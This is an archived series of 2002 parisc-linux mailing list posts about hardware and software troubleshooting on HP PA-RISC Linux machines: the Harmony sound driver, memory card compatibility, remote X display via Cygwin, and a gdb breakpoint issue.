X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:00:54 +0000 (UTC)
Cc: <parisc-linux@lists.parisc-linux.org>
To: <christian@familieschmitt.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Aug 28 14:23:49 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mailout11.sul.t-online.com (mailout11.sul.t-online.com [194.25.134.85])
	by dsl2.external.hp.com (Postfix) with ESMTP id E571E4845
	for <parisc-linux@lists.parisc-linux.org>; Wed, 28 Aug 2002 14:23:48 -0600 (MDT)
Original-Received: from fwd07.sul.t-online.de 
	by mailout11.sul.t-online.com with smtp 
	id 17k9Lr-0000YB-05; Wed, 28 Aug 2002 22:23:43 +0200
Original-Received: from marvin.forty.two (520058847159-0001@[217.5.18.134]) by fmrl07.sul.t-online.com
	with esmtp id 17k9Ll-1vR01gC; Wed, 28 Aug 2002 22:23:37 +0200
Original-Received: from localhost (brauki@localhost)
	by marvin.forty.two (8.11.6/8.11.0/SuSE Linux 8.11.0-0.4) with ESMTP id g7SKKFI28563;
	Wed, 28 Aug 2002 22:20:15 +0200
In-Reply-To: <3D6CDF5A.5090205@gmx.de>
X-Sender: 520058847159-0001@t-dialin.net
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15924

Hi Christian,
at least I got the Harmony driver working on my c110. I used the Kernel
driver first, but found out that kmixer wasn't working (obviously expected
alsa)
I could however cat *.au files to /dev/audio making a lot of sound. After
that, I compiled the alsa stuff -there are two sets of drivers, but one
didn't work as expected. I cannot look things up, currently I am on
holliday in Ireland.. You need to insmod the driver as far as I remember.
I'll be able to tell you more after the linux beer hike... ;-)

cheers

Juergen


===========================================     __   _
Juergen Braukmann juergen.braukmann@gmx.de| -o)/ /  (_)__  __ ____  __
Tel: 0201-743648  dk4jb@db0qs.#nrw.deu.eu | /\\ /__/ / _ \/ // /\ \/ /
===========================================_\_v __/_/_//_/\_,_/ /_/\_\

On Wed, 28 Aug 2002, Christian Schmitt wrote:

> Hi,
>
> I recently downloaded and compiled the latest pa-kernel. I also included harmony
> sound support and now I would like to know if and how I can access the sound
> device. Serching on the web was no success.
>
> Chris
>
> --
> Linux - Cause life is too short for reboots
>
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
>



From - Thu Nov 08 21:24:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Matias A. Vidal Pereyra" <matias.vidal.pereyra@non.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Memory card
Date: 28 Aug 2002 17:26:44 -0300
Lines: 26
Approved: news@gmane.org
Message-ID: <1030566407.24083.20.camel@eva0>
References: <3D6D2D01.50003@hrzpub.tu-darmstadt.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416621654 12985 80.91.229.3 (22 Nov 2014 02:00:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:00:54 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: =?ISO-8859-1?Q?R=FCdiger?= Scholz <rscholz@hrzpub.tu-darmstadt.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Aug 28 14:27:02 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from palrel12.hp.com (palrel12.hp.com [156.153.255.237])
	by dsl2.external.hp.com (Postfix) with ESMTP id AA9564852
	for <parisc-linux@lists.parisc-linux.org>; Wed, 28 Aug 2002 14:27:02 -0600 (MDT)
Original-Received: from xparelay1.ptp.hp.com (xparelay1.ptp.hp.com [15.1.28.62])
	by palrel12.hp.com (Postfix) with ESMTP
	id C0440E004D6; Wed, 28 Aug 2002 13:27:01 -0700 (PDT)
Original-Received: from localhost.localdomain (eva0.csbu.arg.hp.com [15.21.9.210])
	by xparelay1.ptp.hp.com (Postfix) with ESMTP
	id 8BEC2E000A3; Wed, 28 Aug 2002 13:27:00 -0700 (PDT)
In-Reply-To: <3D6D2D01.50003@hrzpub.tu-darmstadt.de>
X-Mailer: Ximian Evolution 1.0.5 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15925

Well this memory card (A1703-60031)  is for the Nova class (G, H, etc )
servers. It's usless for a 712 workstation.

keep looking ;)
=20
On mi=E9, 2002-08-28 at 17:05, R=FCdiger Scholz wrote:
> Hi there,
>=20
> I found a HP memory card on ebay with over 500 MB RAM . Modelnumber=20
> is A1703-60031 A-3140. Can I use it with  my 715/100? And where do I=20
> find more Information about this card.
>=20
> R.
--=20
=20
  ****** _/      *******        Mat=EDas A. Vidal Pereyra=20
 *****  _/         ******       matias.vidal.pereyra@non.hp.com
 ****  _/_/_/ _/_/_/ ****       tel: +54 (11)4778-8336=20
 **** _/  _/ _/  _/  ****       Telnet: 787-8336=20
 ****_/  _/ _/_/_/  *****       On Site Support - hp9000=20
 ******   _/      *******       HP Argentina.=20
  ****** _/      ******* =20

        i n v e n t



From - Thu Nov 08 21:24:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ralf Hildebrandt <Ralf.Hildebrandt@charite.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Memory card
Date: Wed, 28 Aug 2002 22:49:44 +0200
Lines: 16
Approved: news@gmane.org
Message-ID: <20020828204944.GC28763@charite.de>
References: <3D6D2D01.50003@hrzpub.tu-darmstadt.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621655 12986 80.91.229.3 (22 Nov 2014 02:00:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:00:55 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: =?iso-8859-15?Q?R=FCdiger?= Scholz <rscholz@hrzpub.tu-darmstadt.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Aug 28 14:49:46 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hauptpostamt.charite.de (hauptpostamt.charite.de [193.175.66.220])
	by dsl2.external.hp.com (Postfix) with SMTP id 3B394484E
	for <parisc-linux@lists.parisc-linux.org>; Wed, 28 Aug 2002 14:49:46 -0600 (MDT)
Original-Received: from postamt1.charite.de (postamt1.charite.de [193.175.66.246])
	by hauptpostamt.charite.de (Postfix) with ESMTP
	id 35D6D15C015; Wed, 28 Aug 2002 22:49:44 +0200 (CEST)
Original-Received: by postamt1.charite.de (Postfix, from userid 7945)
	id 244AB633B6; Wed, 28 Aug 2002 22:49:44 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <3D6D2D01.50003@hrzpub.tu-darmstadt.de>
User-Agent: Mutt/1.4i
X-Virus-Scanned: by AMaViS snapshot-20020531
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15926

Am 28.08.2002 um 22:05:21 +0200 schrieb R?diger Scholz folgendes:
> Hi there,
> 
> I found a HP memory card on ebay with over 500 MB RAM . Modelnumber 
> is A1703-60031 A-3140. Can I use it with  my 715/100? And where do I 
> find more Information about this card.

I'd say this module is for a 735/99

-- 
Ralf Hildebrandt (Im Auftrag des Referat V A)   Ralf.Hildebrandt@charite.de
Charite Campus Virchow-Klinikum                 Tel.  +49 (0)30-450 570-155
Referat V A - Kommunikationsnetze -             Fax.  +49 (0)30-450 570-916
Backups?  We doan *NEED* no steenking baX%^~,VbKx    NO CARRIER



From - Thu Nov 08 21:24:17 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Tobias Giesen" <tobias_subscriber@tgtools.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] X-Terminal?
Date: Thu, 29 Aug 2002 02:48:03 +0200
Lines: 21
Approved: news@gmane.org
Message-ID: <005801c24ef5$bcd5d6c0$95ff8450@PLUTO>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="US-ASCII"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621655 12989 80.91.229.3 (22 Nov 2014 02:00:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:00:55 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Aug 28 18:48:03 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from moutvdom.kundenserver.de (moutvdom.kundenserver.de [195.20.224.131])
	by dsl2.external.hp.com (Postfix) with ESMTP id B485A4831
	for <parisc-linux@lists.parisc-linux.org>; Wed, 28 Aug 2002 18:48:03 -0600 (MDT)
Original-Received: from [195.20.224.220] (helo=mrvdomng1.kundenserver.de)
	by moutvdomng1.kundenserver.de with esmtp (Exim 3.35 #2)
	id 17kDTZ-0005pi-00
	for parisc-linux@lists.parisc-linux.org; Thu, 29 Aug 2002 02:47:57 +0200
Original-Received: from [80.132.255.149] (helo=PLUTO)
	by mrvdomng1.kundenserver.de with esmtp (Exim 3.35 #2)
	id 17kDTY-0002qy-00
	for parisc-linux@lists.parisc-linux.org; Thu, 29 Aug 2002 02:47:56 +0200
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook, Build 10.0.3416
X-MIMEOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
Importance: Normal
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15927

Hello,

while I can't get X on my C200 to support the graphics card, how about
using an X-Terminal via Ethernet?

Where can I get hints on how to configure this, and

does anybody know a good X-Window-Terminal software for MS Windows?

Cheers,
Tobias

-----------------------
Tobias Giesen, Composer
Developer of TGTools
www.tobiasgiesen.de
www.tgtools.com
-----------------------




From - Thu Nov 08 21:24:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "James P. Kinney III" <jkinney@localnetsolutions.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] X-Terminal?
Date: 28 Aug 2002 20:57:46 -0400
Lines: 65
Approved: news@gmane.org
Message-ID: <1030582666.2179.360.camel@archimedes.localnetsolutions.com>
References: <005801c24ef5$bcd5d6c0$95ff8450@PLUTO>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature";
	boundary="=-a0pyjSYzEht8YSRAp/o7"
X-Trace: ger.gmane.org 1416621655 12991 80.91.229.3 (22 Nov 2014 02:00:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:00:55 +0000 (UTC)
Cc: palinux <parisc-linux@lists.parisc-linux.org>
To: Tobias Giesen <tobias_subscriber@tgtools.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Aug 28 18:58:00 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from granger.mail.mindspring.net (granger.mail.mindspring.net [207.69.200.148])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9C626484D
	for <parisc-linux@lists.parisc-linux.org>; Wed, 28 Aug 2002 18:58:00 -0600 (MDT)
Original-Received: from user-119b1cf.biz.mindspring.com ([66.149.133.143] helo=castle.localnetsolutions.com)
	by granger.mail.mindspring.net with esmtp (Exim 3.33 #1)
	id 17kDdH-0007wT-00; Wed, 28 Aug 2002 20:57:59 -0400
Original-Received: from archimedes.localnetsolutions.com (archimedes.localnetsolutions.com [192.168.0.2])
	by castle.localnetsolutions.com (8.11.6/linuxconf) with ESMTP id g7T0wTB19279;
	Wed, 28 Aug 2002 20:58:29 -0400
In-Reply-To: <005801c24ef5$bcd5d6c0$95ff8450@PLUTO>
X-Mailer: Ximian Evolution 1.0.8 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15928

--=-a0pyjSYzEht8YSRAp/o7
Content-Type: text/plain
Content-Transfer-Encoding: quoted-printable

Cygwin with XFree86 4.x support! As a demo I ran KDE under Win98 on
cygwin. Slow, but it worked.

The twm is rather speedy.=20


http://www.cygwin.com

On Wed, 2002-08-28 at 20:48, Tobias Giesen wrote:
> Hello,
>=20
> while I can't get X on my C200 to support the graphics card, how about
> using an X-Terminal via Ethernet?
>=20
> Where can I get hints on how to configure this, and
>=20
> does anybody know a good X-Window-Terminal software for MS Windows?
>=20
> Cheers,
> Tobias
>=20
> -----------------------
> Tobias Giesen, Composer
> Developer of TGTools
> www.tobiasgiesen.de
> www.tgtools.com
> -----------------------
>=20
>=20
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
--=20
James P. Kinney III   \Changing the mobile computing world/
President and CEO      \          one Linux user         /
Local Net Solutions,LLC \           at a time.          /
770-493-8244             \.___________________________./

GPG ID: 829C6CA7 James P. Kinney III (M.S. Physics)
<jkinney@localnetsolutions.com>
Fingerprint =3D 3C9E 6366 54FC A3FE BA4D 0659 6190 ADC3 829C 6CA7=20



--=-a0pyjSYzEht8YSRAp/o7
Content-Type: application/pgp-signature; name=signature.asc
Content-Description: This is a digitally signed message part

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.6 (GNU/Linux)
Comment: For info see http://www.gnupg.org

iD8DBQA9bXGKYZCtw4KcbKcRAmjbAKDCLZjqkDG6kzs+vj5DlxGbLDgotACeL/NR
qWqvudqkjUwBjKesZEdnphE=
=KjB0
-----END PGP SIGNATURE-----

--=-a0pyjSYzEht8YSRAp/o7--



From - Thu Nov 08 21:24:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "B. Douglas Hilton" <bdhilton@charter.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] X-Terminal?
Date: Wed, 28 Aug 2002 21:13:11 -0400
Lines: 51
Approved: news@gmane.org
Message-ID: <3D6D7527.5040505__11769.3984102972$1416621656$gmane$org@charter.net>
References: <005801c24ef5$bcd5d6c0$95ff8450@PLUTO> <1030582666.2179.360.camel@archimedes.localnetsolutions.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621656 13000 80.91.229.3 (22 Nov 2014 02:00:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:00:56 +0000 (UTC)
To: palinux <parisc-linux@lists.parisc-linux.org>,
	debian-hppa@lists.debian.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Aug 28 19:12:15 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dc-mx12.cluster1.charter.net (dc-mx12.cluster1.charter.net [209.225.8.22])
	by dsl2.external.hp.com (Postfix) with ESMTP id B652F484A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 28 Aug 2002 19:12:14 -0600 (MDT)
Original-Received: from [24.159.161.68] (HELO charter.net)
  by dc-mx12.cluster1.charter.net (CommuniGate Pro SMTP 3.5.9)
  with ESMTP id 72148637; Wed, 28 Aug 2002 21:10:58 -0400
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.0) Gecko/20020529
X-Accept-Language: en-us, en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15929

I agree. Cygwin with XFree86 has got to be the ultimate,
heck you should always have Cygwin anyways on any Windoze
box IMHO, and XFree86 wasn't a big deal to install the
last time I tried it. You should be able to use the
xterm to telnet or rlogin to the hppa box and then an

$ export DISPLAY=###.###.###.###:0
$ mozilla &

Should work most excellently, although I have run into
some difficulties running X apps remotely a while back
with Debian, something seemed messed up with my security
settings and the Debian box wasn't allowing apps to run
remotely. Haven't tried it in a while so I dunno if it
has been fixed or is some config problem on my side.

Voodoo2 Update - been real busy and real tired, no time
to screw with it right now. Probably will hack on it
this weekend.

- Doug




James P. Kinney III wrote:
> Cygwin with XFree86 4.x support! As a demo I ran KDE under Win98 on
> cygwin. Slow, but it worked.
> 
> The twm is rather speedy. 
> 
> 
> http://www.cygwin.com
> 
> On Wed, 2002-08-28 at 20:48, Tobias Giesen wrote:
> 
>>Hello,
>>
>>while I can't get X on my C200 to support the graphics card, how about
>>using an X-Terminal via Ethernet?
>>
>>Where can I get hints on how to configure this, and
>>
>>does anybody know a good X-Window-Terminal software for MS Windows?
>>
>>Cheers,
>>Tobias





From - Thu Nov 08 21:24:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Patrick Caulfield <patrick@tykepenguin.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Harmony on 710 working?
Date: Thu, 29 Aug 2002 08:43:03 +0100
Lines: 18
Approved: news@gmane.org
Message-ID: <20020829074303.GB1029@tykepenguin.com>
References: <3D6CDF5A.5090205@gmx.de> <Pine.LNX.4.33.0208282215040.28537-100000@marvin.forty.two>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-15
X-Trace: ger.gmane.org 1416621656 13003 80.91.229.3 (22 Nov 2014 02:00:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:00:56 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Aug 29 01:43:06 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from tyke.pjc.net (public1-leed3-6-cust7.leed.broadband.ntl.com [80.7.68.7])
	by dsl2.external.hp.com (Postfix) with ESMTP id E825D4829
	for <parisc-linux@lists.parisc-linux.org>; Thu, 29 Aug 2002 01:43:05 -0600 (MDT)
Original-Received: from patrick by tyke.pjc.net with local (Exim 3.35 #1 (Debian))
	id 17kJxH-0000Ks-00
	for <parisc-linux@lists.parisc-linux.org>; Thu, 29 Aug 2002 08:43:03 +0100
Mail-Followup-To: parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
In-Reply-To: <Pine.LNX.4.33.0208282215040.28537-100000@marvin.forty.two>
User-Agent: Mutt/1.4i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15930

On Wed, Aug 28, 2002 at 10:20:15PM +0200, Juergen Braukmann wrote:
> 
> Hi Christian,
> at least I got the Harmony driver working on my c110. I used the Kernel
> driver first, but found out that kmixer wasn't working (obviously expected
> alsa)

A great many Linux sound programs seem to assume that the machine is
little-endian and don't work on HP IME. mpg321 seems OK to me as is sox but
anything more serious (particularly on the recording side) tends to have
problems.

Maybe I should file some bugs in the Debian BTS.
-- 

patrick



From - Thu Nov 08 21:24:18 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: jsoe0708@tiscali.be
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Back to evms-1.0.1 && unaligne access && gdb
Date: Thu, 29 Aug 2002 11:22:45 +0200
Lines: 28
Approved: news@gmane.org
Message-ID: <3D53B3B700008549@ocpmta1.be.tiscali.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621656 13006 80.91.229.3 (22 Nov 2014 02:00:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:00:56 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Aug 29 03:22:51 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.tiscali.be (unknown [62.235.14.106])
	by dsl2.external.hp.com (Postfix) with ESMTP id 816E84829
	for <parisc-linux@lists.parisc-linux.org>; Thu, 29 Aug 2002 03:22:51 -0600 (MDT)
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Thu, 29 Aug 2002 11:22:45 +0200
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15931

Hi all,

I need to go back to kernel 2.4.18-pa61 and evms-1.0.1 (see problem in ml:
http://lists.parisc-linux.org/pipermail/parisc-linux/2002-August/017368.html
with last 1.1.0 evsm release)

Kernel build and operate correctly. I so recompile tools with -ggdb gcc
option.
Then I use ddd to try to debug problem.

So I first run without break and got from console:
evms_vgscan(7998): unaligned access to 0x0002aaae at ip=0x4020a0e3

So I put a break early in main (Ok), relaunch run and try now to insert
a breack in gdb window:
b *0x4020a0e3

Accepted but when 'continue' is launch:
warning: Cannot insert breakpoint 2:
Cannot access memory at address 0x4020a0e3

What do I wrong or what should I better do?

Thanks in advance for help,
    Joel




From - Thu Nov 08 21:24:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: jsoe0708@tiscali.be
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] Back to evms-1.0.1 && unaligne access && gdb
Date: Thu, 29 Aug 2002 11:51:36 +0200
Lines: 69
Approved: news@gmane.org
Message-ID: <3D53B3B700008591@ocpmta1.be.tiscali.com>
References: <3D53B3B700008549@ocpmta1.be.tiscali.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621656 13008 80.91.229.3 (22 Nov 2014 02:00:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:00:56 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Aug 29 03:51:39 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.tiscali.be (unknown [62.235.14.106])
	by dsl2.external.hp.com (Postfix) with ESMTP id 49F7D4845
	for <parisc-linux@lists.parisc-linux.org>; Thu, 29 Aug 2002 03:51:39 -0600 (MDT)
